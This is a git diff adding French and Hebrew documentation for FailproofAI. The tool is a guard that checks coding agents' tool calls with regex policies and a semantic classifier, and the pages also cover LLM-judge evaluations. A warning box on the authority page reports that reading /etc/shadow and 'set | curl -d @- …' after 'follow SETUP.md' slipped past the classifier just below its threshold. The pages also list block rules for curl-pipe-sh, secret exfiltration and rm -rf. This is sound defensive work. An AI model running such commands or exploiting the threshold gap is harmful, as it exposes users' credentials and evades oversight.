+ Dans le tableau de bord Cloud, ouvrez **Administration → Clés** et créez une clé avec le préréglage **machine**. Utilisez-la avec `failproofai config` comme indiqué dans le [démarrage rapide](/fr/start/quickstart). Sur une machine sans configuration Jev existante, cela active Cloud Jev en mode observe. Vérifiez la connexion avec :
+
+ ```bash
+ failproofai jev status
+ failproofai jev test
+ ```
+
+ ## Utiliser votre propre point de terminaison
+
+ Dans le tableau de bord local, ouvrez **Paramètres → Jev**. Choisissez le fournisseur, collez son jeton, sélectionnez **observe**, et activez Jev.
+
+ 
+
+ Ou configurez et testez votre point de terminaison depuis un terminal :
+
+ ```bash
+ failproofai jev --url https://api.typesafe.ai/v1 --mode observe --key-stdin < ~/typesafe.key
+ failproofai jev test
+ ```
+
+ Demandez à un agent connecté d'utiliser son outil de lecture de fichiers sur `README.md`. Confirmez que cet appel d'outil apparaît dans la session, puis inspectez-le sous **Politiques → Activité** dans le tableau de bord local. Une fois que les résultats en mode observe semblent corrects, [les politiques Jev](/fr/policies/jev) explique quand appliquer l'enforcement. Pour les détails du fournisseur et la configuration, consultez la [référence d'intégration](/fr/reference/jev).
+
+
\ No newline at end of file
diff --git a/docs/he/evaluations/jev.mdx b/docs/he/evaluations/jev.mdx
new file mode 100644
index 000000000..a9ddbe746
--- /dev/null
+++ b/docs/he/evaluations/jev.mdx
@@ -0,0 +1,28 @@
+---
+title: "Jev evaluations"
+description: "השתמש ב-Jev כדי לתת ניקוד לסשן שהסתיים מול שאלה עם תשובות ידועות."
+icon: "list-checks"
+---
+
+Jev evaluation קורא **סשן שהסתיים** ותן ניקוד בין 0 ל-1. השתמש בו כאשר התשובה ידועה מראש, כמו "האם הלקוח הביע דחיפות?" או "עד כמה הלקוח היה מתוסכל?" זה עוזר לך למצוא דפוסים בין הרצות; זה לא עוצר קריאת כלי. להחלטות שנעשות **לפני** שכלי רץ, השתמש ב-[Jev policies](/he/policies/jev).
+
+## צור אחד בלוח הבקרה
+
+1. פתח **Analyze → eval authoring** ובחר **new eval**.
+2. תאר שאלה אחת ותשובות אפשריות. לדוגמה: "האם הסוכן הבטיח זיכוי לפני בדיקת מדיניות ההחזר? ענה כן או לא." בחר **draft** וסקור שהתוצאה היא ניקוד מסווג.
+3. [בדוק זאת](/he/evaluations/test) בסשנים האחרונים, ואז [הצג זאת](/he/evaluations/deploy). סשנים שהושלמו חדשים מקבלים ניקוד; [מלא לפי הצורך](/he/evaluations/deploy#score-sessions-you-already-have) אם אתה צריך גם היסטוריה.
+
+
+
+העוזר יכול לבחור בין קוד, סיווג Jev, ו-[judge](/he/evaluations/judge). בדוק את הבחירה שלו לפני הצגה. Jev נותן ניקוד ללא נימוק בפרוזה; בחר judge כאשר אתה צריך הסבר. ראה את [Jev evaluation reference](/he/reference/jev-evaluations) לסוגי שאלות והגבלות ניקוד.
+
+## קרא את הניקודים
+
+פתח **Observe → Evaluations** כדי לתרשים את התוצאה לפי סוכן וזמן. מטרמינל, ה-Cloud CLI יכול לקרוא את אותן תוצאות:
+
+```bash
+fp evals --since 7d
+fp evals --aggregate --since 7d
+```
+
+ה-Cloud CLI קורא תוצאות; authoring והצגה מתרחשות בלוח הבקרה. ראה את [Cloud CLI reference](/he/reference/cloud-cli#evaluations) לסינונים.
\ No newline at end of file
diff --git a/docs/he/evaluations/judge.mdx b/docs/he/evaluations/judge.mdx
new file mode 100644
index 000000000..e075ec3d0
--- /dev/null
+++ b/docs/he/evaluations/judge.mdx
@@ -0,0 +1,91 @@
+---
+title: "שופטי LLM"
+description: "דרג הפעלות בהיבטים שהקוד לא יכול למדוד — נכונות, טון, האם הסוכן פעל לפי מדיניות — על ידי תיאור איך נראה טוב ודעו למודל לקרוא את השיחה."
+icon: "scale"
+---
+
+הערכה Python מתארחת יכולה לספור ולהשוות: כמה קריאות כלים, כמה שגיאות, כמה זמן לקחה הפעלה. היא לא יכולה לספר לך האם תשובה הייתה *נכונה*, האם תגובה הייתה גסה, או האם הסוכן בדק מדיניות לפני שהשתמש בכלי.
+
+**שופט LLM** יכול. אתה מתאר איך נראה טוב בשפה פשוטה, ומודל קורא את ההפעלה ומחזיר ציון בין 0 ל-1 עם הנמקתו.
+
+
+שופט עולה קריאת מודל אחת לכל הפעלה שהוא פועל עליה, והערכת קוד עולה כלום. השתמש בשופט רק בשאלות שדורשות שהשיחה תהיה *מובנת* — ותן לה תנאי, כך שהיא תפעל על ההפעלות שהשאלה באמת עוסקת בהן.
+
+
+## איזה אחד אני רוצה?
+
+| שאלה | השתמש ב |
+| --- | --- |
+| האם היא קראה את אותו כלי פעמיים? | קוד |
+| כמה שגיאות היו? | קוד |
+| האם ההפעלה הייתה תחת 30 שניות? | קוד |
+| האם הלקוח הביע דחיפות? | [מסווג](/he/evaluations/jev) |
+| כמה תסכול הלקוח הביע? | [מסווג](/he/evaluations/jev) |
+| האם התשובה הייתה בעצם נכונה? | **שופט** |
+| האם התגובה הייתה גסה או זלזול? | **שופט** |
+| האם הוא בדק את מדיניות ההחזרים לפני שהבטיח החזר? | **שופט** |
+
+כלל אצבע: **ניתן לספור → קוד, תשובות שאתה יכול לרשום מראש → [מסווג](/he/evaluations/jev), צריך הסבר → שופט.** שופט הוא זה שכותב פרוזה על מה שראה; השתמש בו כאשר המספר יגרום למישהו לשאול "למה?".
+
+אתה לא צריך להחליט מראש. תאר מה אתה רוצה למדוד והעוזר יבחר, ואז יגיד לך אילו בחר ולמה. אתה יכול להחליף.
+
+## כתוב אחד
+
+1. עבור אל **Analyze → eval authoring** ובחר **new eval**.
+2. תאר מה אתה רוצה שיישפט, ובחר **draft**.
+3. בדוק את ה**criteria**, ה**threshold**, וה**condition**, ואז הפרס.
+
+### Criteria
+
+משפט או שניים, כתוב כדרישה ולא כשאלה:
+
+> העוזר אינו חייב להבטיח או לאישור החזר ללא בדיקה ראשונה של מדיניות ההחזרים.
+
+היה ספציפי לגבי מה שיגרום זה להיכשל. "האם התגובה הייתה טובה?" נותנת לך מספר שאין לו משמעות; המשפט למעלה נותן לך אחד שאתה יכול לפעול עליו.
+
+### Threshold
+
+הציון בו או מעליו ההפעלה עוברת. `0.7` היא נקודת התחלה סבירה. הציון המלא מ-0 ל-1 תמיד מאוחסן, כך שה-threshold רק מחליט להצליח/להכשל — אתה יכול לראות את ההתפלגות ולהתאים.
+
+### Condition
+
+אותו תנאי Python כמו כל הערכה אחרת, וזה חשוב הרבה יותר כאן. ללא תנאי, השופט פועל על **כל** הפעלה בארגון שלך, בקריאת מודל אחת כל אחת:
+
+```python
+session.count("tool_use") > 0
+```
+
+```python
+session.agent_id == "support-bot" and session.count("error") > 0
+```
+
+לוח הבקרה מזהיר אותך אם אתה מפרס שופט ללא תנאי. זה לפעמים נכון — סוכן בעלות נמוכה שאתה רוצה לשפוט לחלוטין — אבל זה צריך להיות החלטה, לא תאונה.
+
+## מה השופט רואה
+
+השיחה, כתורות, חדשות ביותר ראשונה אם ההפעלה ארוכה:
+
+- מה המשתמש אמר
+- מה העוזר השיב
+- **כל כלי שהסוכן קרא, ומה הקריאה הזאת החזירה, בסדר**
+
+החלק האחרון הוא מה שהופך "האם זה עשה X *לפני* Y" לשאלה הוגנת לשאול. קריאת כלים שנכשלה מוצגת ככישלון, כך שגם "האם זה התחזק בהצטיינות מشגיאה" עובד.
+
+הפעלות ארוכות מאוד מקוצצות כדי להתאים להקשר של המודל. כאשר זה קורה הנמקה אומרת זאת במפורש — לעולם לא תראה שיפוט שנעשה על חלק מהפעלה המוצג כאחד שנעשה על כולה.
+
+## קריאת התוצאות
+
+שופט מייצר **score** כמו כל הערכה אחרת שקיבלה ניקוד, כך שזה מתרשים, מסנן, והפעלת התראות באותו אופן. לצד המספר הוא אחסן את **reasoning** השופט — הפסקה המסבירה מה הוא ראה. קרא את זה קודם כל כאשר ציון מפתיע אותך; זה בדרך כלל או פעלה מעניינת באמת או סימן שה-criteria צריך להיות יותר חד.
+
+ציונים יציבים למקרים ברורים אך לא דטרמיניסטיים בדיוק סיביות. התייחס לציון גבול יחיד כהנחיה ללכת לקרוא את ההפעלה, לא כפסק דין.
+
+## מגבלות
+
+- **בדיקה עדיין אינה זמינה.** ריצה יבשה אין לה הקצאת הפעלה מאחוריה, וההקצאה הזאת היא מה שמשווה הוצאה של תקציב המודל שלך — כך שאין כלום לקריאת בדיקה לחייב. הפרס נגד תנאי צר וקרא את התוצאות הראשונות.
+- **Backfill אינו זמין.** Backfill של הערכת קוד על חודשים של היסטוריה חינם; ביצוע זאת עם שופט יוציא את כל התקציב שלך בדקות.
+- **עריכת ה-criteria מפרסמת גרסה חדשה.** ציונים ישנים וחדשים אינם ניתנים להשוואה, כך שהם מוצאים בנפרד ולא מעורבבים לשורת מגמה אחת.
+- **שופט תמיד מייצר ציון**, לא מטריקה או אזהרה.
+
+## כאשר התקציב שלך מתגמר
+
+שופטים מוציאים את תקציב המודל של הארגון שלך. כאשר הוא מותש, הערכות שופט עוצרות עם סיבה ברורה ולא נכשלות בשקט, ו**הערכות קוד ממשיכות לפעול בדרך כלל**. הגבה את התקציב והם יתחדשו בהפעלה הבאה.
\ No newline at end of file
diff --git a/docs/he/policies/authority.mdx b/docs/he/policies/authority.mdx
new file mode 100644
index 000000000..73f804354
--- /dev/null
+++ b/docs/he/policies/authority.mdx
@@ -0,0 +1,144 @@
+---
+title: "סמכות המדיניות"
+description: "אילו פסקי דין סמנטיים של Jev רשאים להיות מבוטלים, ואילו הם סופיים."
+icon: "scale"
+---
+
+כשאתה מגדיר [בדיקת מדיניות Jev](/he/policies/jev) דרך FailproofAI Cloud או המפתח שלך, כל קריאה לכלי שנשמרת נשפטת על ידי המדיניויות שאתה מפעיל וגם על ידי Jev, ששואל מה הקריאה בעצם עושה והאם האדם שהקליד את המשימה בקש לה. **הסמכות** של כל מדיניות קובעת מה קורה כשהשניים לא מסכימים.
+
+ללא Jev מוגדר, לסמכות אין השפעה. כל מדיניות מאַכּפת בדיוק כמו שתמיד היא עשתה.
+
+## Hard ו-reviewable
+
+- **Hard** הוא ברירת המחדל. ההודעה deny או instruction של מדיניות hard היא סופית: Jev לא יכול להבטל אותה, וdeny קשה עוצר את הקריאה ללא המתנה ל-Jev.
+- **Reviewable** פירושו שJev עשוי להבטל את פסק הדין של המדיניות, אך רק דרך הבדיקות הסמנטיות שהמדיניות מציינת ב-`reviewedBy`. פסק הדין מבוטל רק כשAI שאל על כל בדיקה מצוינת לגבי קריאה זו וכל אחת מהן גם לא מצאה כלום או הקליטה את המשתמש המבקש לכך. בדיקה שקפצה — מצאה את הדאגה — ללא בקשת המשתמש שומרת על החסימה, גם כשפסק הדין שלה בעצמו הוא רק אזהרה. בדיקה שJev לא שאל, כי היא לא חלה על אותו כלי, אף פעם לא מבטלת שום דבר, לא משנה מה אחרים אמרו. הנחה אחת מביעה הסכמה: כשהקריאה היא שלב של המשימה שהמשתמש נתן והגיעה לא הלאה, Jev הופכת deny להתראה, והתראה זו מבטלת את חסימת המדיניות וזה מה שהסוכן מודיע.
+
+מדיניות היא reviewable רק כשכל אלה נכונים:
+
+1. היא מצהירה `authority: "reviewable"`.
+2. `reviewedBy` היא רשימה לא ריקה, וכל ערך הוא בדיקת Jev שחבילה מותקנת מצהירה עליה. Failproof AI לא משולח בדיקות Jev: [שש-עשרה להלן](#semantic-policy-names) באות מ-`failproofai policies add FailproofAI/jev-policies`. ללא חבילה המצהירה בדיקות, כל מדיניות היא hard.
+3. היא לא `alwaysOn`. השומר שעוצר סוכן מבטל את Failproof AI הוא תמיד hard.
+
+הכל אחר הוא hard: שדה חסר, ערך כתוב בצורה שגויה, `reviewedBy` ריק או מעוות, או שם שאינו בדיקה שמכונה זו יכולה לשאול. שם לא ידוע הופך את כל ההצהרה ל-hard במקום להיות דלוק, כי `reviewedBy` אומר "כל אלה חייבות להיות שאולות, וואף אחת מהן לא רשאית להכחיש", ודלוג על שם היה מאפשר ל-Jev להבטל את המדיניות על פחות בדיקות מאשר ביקשת.
+
+ברגע שJev מוגדר, Failproof AI רושם התראה כשהוא מסרב להצהרה `reviewable`, פעם אחת לתהליך. ללא Jev הוא לא אומר כלום, כי סמכות אז לא קובעת כלום. `failproofai publish` מסרב לבנות חבילה שנושאת הצהרה כזו, כך שמחבר חבילה מגלה לפני שמישהו מתקין אותה. זה משפט `reviewedBy` כנגד הבדיקות שהחבילה מצהירה כשהיא מצהירה כלום, ועל שש-עשרה שמות `FailproofAI/jev-policies` אחרת.
+
+## היכן סמכות מוצהרת
+
+לכל דרך שמדיניות מגיעה למכונה יש מקום אחד שקובע את סמכותה:
+
+| מקור | מוצהר בתוך | ברירת מחדל |
+| --- | --- | --- |
+| מדיניויות מובנות | הטבלה להלן | Hard אלא אם רשום כ-reviewable |
+| קובצי המדיניות שלך | `authority` ו-`reviewedBy` על `customPolicies.add` | Hard |
+| חבילות מדיניות | ערך כל מדיניות בתוך מניפסט החבילה (`failproofai-pack.json`) | Hard |
+| מדיניויות מנוהלות בענן | הקצאת המדיניות בהצבת הפעיל | Hard. הצבות לא קובעות זאת עדיין, כך שכל מדיניות מנוהלת בענן היא hard היום. |
+
+לחבילה או למדיניות מנוהלת בענן, שדות שנקבעו בתוך קוד המדיניות מתעלמים; המניפסט או ההקצאה קובעים. חבילה יכולה רק לתאר את המדיניויות שלה: שמות מדיניויות שלה לא יכולים להכיל `/` ורשומים תחת הקידומת שלה, כך שאף מניפסט לא יכול לסמן מדיניות מובנית או מדיניות של חבילה אחרת כ-reviewable. מדיניות שקוד חבילה רושם ללא הצהרה בתוך המניפסט היא hard.
+
+שתי חבילות, או שתי מדיניויות מנוהלות בענן, שקודן זהה בת-byte משתפות חפץ אחד וטוענות כמדיניות אחת. מדיניות זו היא reviewable רק אם כל אחת מהן מצהירה עליה reviewable, וJev חייב אז להבטל כל בדיקה שכל אחת מהן שמה. אם כל אחת מהן מצהירה עליה hard, או לא מצהירה עליה כלל, היא נשארת hard. הסדר שבו חבילות או מדיניויות רשומות אף פעם לא משנה.
+
+רוב המכונות מקבלות את המדיניויות המובנות מתוך חבילת `FailproofAI/policies`, וקוראות את הסמכות שלהן מתוך המניפסט של החבילה. הערכים reviewable להלן נכנסים לתוקף ברגע שגרסה של החבילה שנושאת אותם מותקנת; גרסה ישנה יותר אינה נושאת שום דבר, כך שכל מדיניות בה נשארת hard.
+
+## הצהר סמכות בתוך המדיניות שלך
+
+```js
+import { customPolicies, deny, allow } from "failproofai";
+
+customPolicies.add({
+ name: "block-prod-config-reads",
+ description: "Keep production credentials out of the agent's context",
+ match: { events: ["PreToolUse"] },
+ authority: "reviewable",
+ reviewedBy: ["secret-exposure"],
+ fn: async (ctx) =>
+ String(ctx.toolInput?.file_path ?? "").includes("/config/prod/")
+ ? deny("Production config is off limits")
+ : allow(),
+});
+```
+
+`failproofai publish` מעתיק שני שדות לתוך מניפסט החבילה, כך שמדיניות שפורסמה כחבילה שומרת על הסמכות שמחברה נתן. זה מסרב לבנות את החבילה אם הצהרה לא תיכבד: ערך שונה מ-`"hard"` או `"reviewable"`, `reviewedBy` שאינו רשימת שמות, או שם שאינו בדיקה — אחת מ[בדיקות Jev](/he/policies/publish-a-pack#jev-checks-in-a-pack) שלה כשהוא מצהיר כלום, בדיקה מובנית אחרת.
+
+## מדיניויות מובנות
+
+Reviewable רק כשבדיקה סמנטית באמת מכסה את אותה דאגה. כל מדיניות מובנית אחרת היא hard.
+
+כיסוי הדאגה הוא הכרחי אך לא מספיק, ושתי דרכים לקבל את זה לא בסדר הן שקט:
+
+- **בדיקה שלעולם אינה שאולה** הופכת את החסימה לקבועה. `reviewedBy` היא קשור וזה בדיקה שלא שאלו אף פעם לא תבטל, כך שמדיניות משויכת לבדיקה שתנאי הקדם שלה לא עורר עבור הצורות שהמדיניות תואמת לעולם לא יכול להיות מבוטל כלל.
+- **בדיקה ששואלו אך לא עוררו** עונה "אין דאגה", ואין דאגה מבטלת. כך ששיוך עם בדיקה שלא מודלת את הצורות של המדיניות שלך לא בודקת את המדיניות — היא כבה אותה בדיוק לתשומות שהבדיקה לא מבינה.
+
+מדיניות סמנטית במצב instruct לעולם לא יכולה להשיב deny, אך היא עדיין יכולה לשמור חסימה: כשהוא עורר והמשתמש לא בקש את הקריאה, המדיניות שהוא בודק לא מבוטלת. שש מ[בדיקות `FailproofAI/jev-policies`](/he/policies/publish-a-pack#jev-checks-in-a-pack) הן instruct-only — `push-to-protected-branch`, `commit-on-protected-branch`, `read-outside-workspace`, `system-modification`, `env-secrets-dump` ו-`external-data-egress` — והטבלה להלן נותנת את המצב של כל בדיקה. השאלה לשאול היא **"האם נשאר משהו שיכול להכחיש"**: בטול חייב לעולם לא להשאיר את הדאגה מאַכּפת על ידי כלום. המנוע מיישם את הבדיקה הזו לכל קריאה. התראה שאף אחד לא הסכים אינה בטול, כי לפני קריאות לכלי התראה לא עוצרת את הסוכן. וכשבדיקה שיכולה להכחיש מתאימה — ראיות שלה נופלות מתחת לקו הכחיש שלה — והמשתמש לא בקש את הקריאה, כלום אינו מבוטל על קריאה זו וכל כחיש regex עומד.
+
+
+**בדיקה שמדורגת רק מתחת לקו החריקה שלה לא שומרת על הרצפה.** הכלל שלעיל צריך בדיקה להעיר (evidence ≥ 0.7). כשכל בדיקה רלוונטית נוחתת בדיוק מתחתיה, כלום לא עורר, המבקרים עונים "אין דאגה", וכחיש reviewable מבוטל. מדוד בחיים במצב enforce: קריאה לא מבוקשת של `/etc/shadow` (`secret-exposure` 0.69, `read-outside-workspace` 0.37, שרק מודלת נתיבי בית) ו-`set | curl -d @- …` אחרי "follow SETUP.md" (`env-secrets-dump` 0.66, `credential-exfiltration` 0.65 עם `sends_out` 0.97) שניהם הורשו, בעודו שרמת regex לבדה כוחשת עליהם. הסף היה כיול על קורפוס מתויג ולא נמדד מחדש כנגד זה; עד שייעשה, שמור מדיניות **hard** כשאחת מהצורות הללו עוברת את העניין יותר מאשר בלוקים שגויים שלה.
+
+
+| מדיניות | סמכות | בדיקה על ידי | למה |
+| --- | --- | --- | --- |
+| `protect-env-vars` | reviewable | `env-secrets-dump`, `secret-exposure` | התבנית עוררת בהפניה לכל משתנה; Jev שואל האם ערכי סודות בעצם יודפסו. |
+| `block-env-files` | reviewable | `secret-exposure` | התבנית תואמת כל נתיב `.env`, תבניות כלולות; Jev שואל האם ערכי סודות בעצם היו נקראים או כתובים. |
+| `block-read-outside-cwd` | reviewable | `read-outside-workspace` | מדוד כרועש בתנועה אמיתית; Jev שואל האם תוכני קובץ מחוץ לפרויקט נקראים. קריאה שהמשתמש בקש, או שהבדיקה לא מצאה בה כלום, מבוטלת; קריאה לא מבוקשת שהוא מדגיל שומרת את החסימה. |
+| `warn-git-amend` | reviewable | `git-history-rewrite` | שינוי commit שלא דחוק הוא רגיל; הנזק הוא כתיבה מחדש של היסטוריה אחרים עשויים למשוך. |
+| `warn-destructive-sql` | reviewable | `database-destruction` | Jev גם שואל האם המטרה היא מסד נתונים אמיתי ולא אחד מטיל חד-פעמי. |
+| `warn-global-package-install` | reviewable | `system-modification` | אותה דאגה: שינוי המכונה מחוץ לפרויקט. |
+| `block-failproofai-commands` | hard | | `alwaysOn` הגנה עצמית. לעולם לא reviewable. |
+| `block-rm-rf` | reviewable | `destructive-deletion` | ההיוריסטיקה של עומק הנתיב מקבלת `rm -rf node_modules` בצורה שגויה; Jev שואל האם מה שהיה מחוסל ניתן להשגה. `rm -rf /` שומר את שתי הבדיקות true. |
+| `block-sudo` | hard | | הסלמת הגעות. |
+| `block-curl-pipe-sh` | hard | | מפעיל קוד שהורד מהאינטרנט. |
+| `block-push-master` | hard | | דחף ישיר לענף מוגן. |
+| `block-work-on-main` | hard | | `commit-on-protected-branch` מכסה בדיוק דאגה זו אך הוא instruct-mode, כך שהוא לעולם לא יכול להשיב deny, ואף בדיקה אחרת לא מכסה אותה. |
+| `block-force-push` | reviewable | `git-history-rewrite` | הבדיקה של Jev היא כל ערך של המתאם וסופרת `--force-with-lease`; מה מבטל הוא force-pushing של הענף שלך. |
+| `block-secrets-write` | reviewable | `secret-exposure` | התאמת הנתיב אינה עוגנת, כך `src/auth/credentials.ts` תופסת; Jev שואל האם חומר מפתח אמיתי נכתב. |
+| `block-kubectl` | reviewable | `production-infra-change` | כוחש את כל ה-CLI, תתי-פקודות לקריאה בלבד כלולים; Jev שואל האם הקריאה משנה ואם המטרה היא ייצור. |
+| `block-terraform` | reviewable | `production-infra-change` | אותו דבר: מבטל `terraform plan` ו-`validate`. |
+| `block-aws-cli` | reviewable | `production-infra-change` | אותו דבר: מבטל `aws s3 ls`, `aws sts get-caller-identity`. |
+| `block-gcloud` | reviewable | `production-infra-change` | אותו דבר: מבטל `gcloud auth list`, `gcloud config list`. |
+| `block-az-cli` | reviewable | `production-infra-change` | אותו דבר: מבטל `az account show`. |
+| `block-helm` | reviewable | `production-infra-change` | אותו דבר: מבטל `helm list`, `helm status`. |
+| `block-gh-pipeline` | hard | | מפעיל צינורות, מיזוג ושינויים סודיים. |
+| `warn-git-stash-drop` | hard | | אף בדיקה סמנטית לא מכסה הסרת עבודה מוסתרת. |
+| `warn-git-clean` | hard | | `destructive-deletion` מכסה את הדאגה אך לא יכול להעיר עליה: `git clean` אינו שם נתיב, כך שהבדיקה `irreplaceable` שלו אין מה לשפוט ותשובה נמוכה, וראיות היא המינימום על בדיקות מדיניות. בדיקה ששאלו ואינה עוררת מבטלת את הפסק, כך שזיווג כאן היה כבה את המדיניות. |
+| `warn-all-files-staged` | hard | | אף בדיקה סמנטית לא מכסה מה `git add` רחב בוחר. |
+| `warn-schema-alteration` | hard | | `database-destruction` מכסה הנחת נתונים, לא שינוי סכימה. |
+| `warn-package-publish` | hard | | ציבור בלתי הפיך ואף בדיקה סמנטית לא מכסה אותו. |
+| `prefer-package-manager` | hard | | אמנה של צוות, לא שיפוט בטיחות. |
+| `warn-large-file-write` | hard | | סף גודל, לא פסק שJev יכול לעשות. |
+| `warn-background-process` | hard | | אף בדיקה סמנטית לא מכסה תהליכים מנותקים. |
+| `warn-repeated-tool-calls` | hard | | קובע קריאות; Jev לא יכול לספור. |
+| `sanitize-jwt` | hard | | גדז פלט כלי; לא שער קריאת כלי. |
+| `sanitize-api-keys` | hard | | גדז פלט כלי; לא שער קריאת כלי. |
+| `sanitize-connection-strings` | hard | | גדז פלט כלי; לא שער קריאת כלי. |
+| `sanitize-private-key-content` | hard | | גדז פלט כלי; לא שער קריאת כלי. |
+| `sanitize-bearer-tokens` | hard | | גדז פלט כלי; לא שער קריאת כלי. |
+| `require-commit-before-stop` | hard | | שער השלמת הפעלה, לא שער קריאת כלי. |
+| `require-push-before-stop` | hard | | שער השלמת הפעלה, לא שער קריאת כלי. |
+| `require-pr-before-stop` | hard | | שער השלמת הפעלה, לא שער קריאת כלי. |
+| `require-no-conflicts-before-stop` | hard | | שער השלמת הפעלה, לא שער קריאת כלי. |
+| `require-ci-green-before-stop` | hard | | שער השלמת הפעלה, לא שער קריאת כלי. |
+
+## שמות מדיניות סמנטיות
+
+אלה הבדיקות `FailproofAI/jev-policies` מצהירות, וערכים `reviewedBy` מקבל ברגע שהוא מותקן. Failproof AI עצמו לא משולח שום אחד מהם: ללא החבילה הזו (או אחר המצהיר שמות אלה), אף מדיניות שמשמה אותם היא לא reviewable. כל אחד הוא בדיקה Jev עונה על קריאת הכלי בפניה. **Mode** הוא מה בדיקה יכולה להשיב: בדיקת `deny` חוסמת על ראיות חזקות, בעודו שבדיקת `instruct` רק אי פעם מתאימה. או אחד שומר את כחיש מדיניות כשהוא עורר והמשתמש לא בקש את הקריאה. **משתמש יכול לעקוף** אומר האם הבקשה המפורשת שלו האנושית מבטלת אותה.
+
+Jev שואל בדיוק את [בדיקות Jev](/he/policies/publish-a-pack#jev-checks-in-a-pack) חבילות מותקנות מצהירות, וגם הם שמות `reviewedBy` מקבל. שם שתי חבילות מצהירות באופן שונה מכובד לא עבור אף אחד. אחד מהשמות השש-עשרה האלה מוצהר על ידי חבילה לא מותקנת מתוך מאגר FailproofAI מתעלם בחבילה זו: הגרסה שלה אף פעם לא שאולה ולא מתחרות בשלה של FailproofAI, כך שחבילה של צד שלישי לא יכולה להפוך לבדיקה שמבטלת מדיניויות חבילת הליבה ואף לא לכבות אחת מהבדיקות הללו. רשימת חבילות לא קריאה, או חבילה שכל בדיקה שלה לא שמישה, משאירה ל-Jev כלום לשאול.
+
+| שם | Mode | משתמש יכול לעקוף | מה Jev בודק |
+| --- | --- | --- | --- |
+| `destructive-deletion` | deny | כן | מחיקה קבועה של נתונים שלא ניתן להשגה. |
+| `production-infra-change` | deny | כן | שינוי תשתית חיה. |
+| `git-history-rewrite` | deny | כן | כתיבה מחדש או הסרת היסטוריית git משותפת. |
+| `push-to-protected-branch` | instruct | כן | דחף ישיר לענף מוגן. |
+| `commit-on-protected-branch` | instruct | כן | ביצוע ישיר על ענף מוגן. |
+| `secret-exposure` | deny | כן | קריאה או העתקת אישורים. |
+| `credential-exfiltration` | deny | לא | שליחת סודות או קובצים פרטיים מחוץ למכונה. |
+| `remote-code-execution` | deny | כן | הפעלת קוד שהורד מהאינטרנט. |
+| `privilege-escalation` | deny | כן | הפעלה עם הגעות מוגברות. |
+| `database-destruction` | deny | כן | הרס או שינוי מוני של נתוני מסד נתונים. |
+| `read-outside-workspace` | instruct | כן | קריאת קובצים מחוץ לפרויקט. |
+| `agent-config-tampering` | deny | לא | שינוי תצורת הבטיחות שלו של הסוכן. |
+| `system-modification` | instruct | כן | שינוי המערכת מחוץ לפרויקט. |
+| `env-secrets-dump` | instruct | כן | הדפסת סודות סביבה. |
+| `external-destructive-action` | deny | כן | פעולה בלתי הפיכה דרך כלי חיצוני. |
+| `external-data-egress` | instruct | כן | שליחת נתונים פרטיים לכלי חיצוני. |
\ No newline at end of file
diff --git a/docs/he/policies/jev-byok.mdx b/docs/he/policies/jev-byok.mdx
new file mode 100644
index 000000000..45a91fe1b
--- /dev/null
+++ b/docs/he/policies/jev-byok.mdx
@@ -0,0 +1,265 @@
+---
+title: "Jev evaluator (הביאו את המפתח שלכם)"
+description: "תנו ל-Jev classifier של TypeSafe לשפוט קריאות כלים של agents שלכם מעל קרקעית regex קשה, דרך endpoint ומפתח Jev משלכם."
+icon: "key-round"
+---
+
+מדיניות regex תואמת מחרוזות. הם לא יכולים להבחין בין `rm -rf build/` שביקשתם מ-`rm -rf ~` שהחליק לתוך תכנית, כך שהם חוסמים יותר מדי במקום אחד וקצת מדי בחזה. **Jev**, ה-classifier של TypeSafe, קורא את הקריאה מול מה שבעצם ביקשתם ועונה על סט של שאלות כן/לא עליה בבקשה אחת מהירה.
+
+עם endpoint ומפתח Jev משלכם מוגדרים, Failproof AI שואל את Jev על כל קריאת כלי **לצד** מדיניות ה-regex, לעולם לא במקום שלהם:
+
+- ה-deny של מדיניות **קשה** הוא סופי. Jev לא יכול להנקות אותו. כל מדיניות קשה אלא אם כן היא מסומנת בצורה מפורשת כ-reviewable ושמות בדיקות Jev שמכסות אותה, ולכן מדיניות custom, pack או Cloud שלא אומרת כלום היא קשה, וה-guard self-protection שתמיד פועל הוא תמיד קשה.
+- ה-deny של מדיניות **reviewable** עשוי להיקבע, אך רק כאשר Jev נשאל על הדאגה המדויקת שמדיניות זו מכסה וענה "אין כאן כלום" או "המשתמש ביקש את זה". בדיקה שמוצאת את הדאגה כממשית, כאשר המשתמש לא ביקש את הקריאה, שומרת על ה-deny — אפילו כאשר הפסק שלה הוא רק אזהרה, מכיוון שלפני קריאת כלי אזהרה לא עוצרת את ה-agent. וכאשר אותה בדיקה היא כזו שיכולה להכחיש (חשיפת סודות, כניסת אישורים, מחיקה הרסנית, ...), כלום לא מוקבע על קריאה זו.
+- בלוק עדיין יכול להיות **אזהרה** כאשר הקריאה היא צעד של המשימה שנתתם ולא מגיעה הלאה: Jev משנה את ה-deny שלו לאזהרה, ואותה אזהרה — המתארת מה בעצם לא בסדר עם הקריאה — מחליפה את הבלוק של המדיניות.
+- Jev יכול גם להתריע או להכחיש בעצמו, על נזק שאף regex לא מתאר.
+- אם Jev לא יכול לענות (timeout, rate limit, שגיאת שרת, אין credits, גרסה מודל בלתי צפויה), קריאה זו מקבלת את תוצאת ה-regex, בדיוק כמו ללא Jev.
+- Jev לעולם לא הופך קריאה למאפשרת יותר מהמדיניות שלכם בלבד אלא אם קרא את כל הקריאה ונשאל על הדאגה המדויקת. הכל פחות מזה — קריאה גדולה מדי לשליחה כמכלול, injection חשוד — משוך את ההסכמות ושומר על כל ה-deny.
+
+
+ללא הגדרת Jev כלום לא משתנה: hooks מפעילים את מדיניות ה-regex בדיוק כפי שתמיד עשו. ההגדרה היא ה-opt-in כולה.
+
+
+
+על FailproofAI Cloud? אתה לא צריך מפתח משלך: מכונה המחוברת עם מפתח שנושא `jev:evaluate` יכולה להשתמש ב-Jev בתכנית הארגון שלך. ראה [Jev through FailproofAI Cloud](/he/policies/jev-cloud).
+
+
+## בחר ספק
+
+Jev ניתן להשגה דרך חמש נתיבים. הביא מפתח לכל אחד מהם.
+
+| ספק | `--provider` | Endpoint | מודל ברירת מחדל | הערות |
+| --- | --- | --- | --- | --- |
+| TypeSafe | `typesafe` | `api.typesafe.ai/v1/systemone` | `jev-1.13.0` | סיכום גרסה מדויק. |
+| OpenRouter | `openrouter` | `openrouter.ai/api/v1/systemone` | `typesafe/jev-1.13` | הבקשות נתובות לנקודות קצה בעלות אפס שמירה של נתונים בלבד, ללא fallback לספק אחר. דו"ח גרסה בעלת תאריך כגון `typesafe/jev-1.13-20260917`. |
+| Vercel AI Gateway | `vercel` | `ai-gateway.vercel.sh/typesafe/v1/systemone` | `typesafe-ai/jev` | שם Jev רק לפי כינוי, כך שהגרסה המשיבה נרשמת כלא מוודאת. |
